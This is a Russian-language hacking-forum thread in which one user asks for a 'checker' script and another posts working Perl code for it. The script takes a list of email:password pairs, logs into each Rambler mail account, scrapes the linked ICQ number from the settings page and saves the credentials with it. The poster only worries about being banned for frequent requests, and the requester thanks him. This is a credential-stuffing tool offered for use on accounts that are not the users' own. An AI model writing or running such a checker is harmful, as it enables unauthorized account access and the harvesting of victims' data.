Rambler Checker

[Xszz]

Народ , кто поможет написать скрипт ?
Суть :
Есть список мыл:паролей (txt)
qwe@ramber.ru:Пassword

Нужно :
Логинится через http://mail.rambler.ru/script/auth.cgi
Нажимать на ссылку с именем ящика qwe@ramber.ru
(ссылка вида http://id.rambler.ru)
Открывается страница http://id.rambler.ru/script/settings.cgi
На странице искать следующие строки :

Ваш номер ICQ: 12345
Результат записывать в файл , допустим , out.txt
примерно в таком виде
12345 : qwe@ramber.ru

Огромное спасибо за помощь ;)

[Isis]

За $ напишу...стукай в асю

[Xszz]

Спасибо , но воздержусь пока ...

[DIAgen]

Спасибо , но воздержусь пока ...
Тут тебя врятли помогут написать скрипт, но поздказать смогут без проблем, учи php, и пользуйся сокетами или cURL и удачи тебе:)

[C!klodoL]

#!/usr/bin/perl -w

use strict;
use LWP::UserAgent;
use HTTP::Cookies;

print "\nRambler.ru ICQ parser $0 Coded by C!klodoL\n";

my $mails = 'rambler.txt'; #мыла
my $icqs = 'icq.txt'; #осику

open(my $inFile, "<$mails");
my @mail = <$inFile>;
close $inFile;
chomp @mail;

open(my $outFile, ">>$icqs");

my $ua = LWP::UserAgent->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
my $cookies = HTTP::Cookies->new();
$ua->cookie_jar($cookies);

while (@mail) {
my ($user, $pass) = split(/:/, shift(@mail));
$user =~ s/@.+//;
my $req = $ua->post("http://mail.rambler.ru/script/auth.cgi?login=$user&passw=$pass")->as_string;
my ($location) = $req =~ /Location: (.+)/;
if ($location) {
$req = $ua->get($location);
$req = $ua->get('http://id.rambler.ru/script/settings.cgi')->as_string;
my ($icq) = $req =~ /ICQ">(\d+)/;
if ($icq) {
print "$icq:$user:$pass\n";
print $outFile "$icq:$user:$pass\n";
} else {
print "NoICQ:$user:$pass\n";
print $outFile "NoICQ:$user:$pass\n";
}
}
$cookies->clear;
}

правда я хз банят ли там за частые запросы

[Xszz]

Опа спасибо ;)))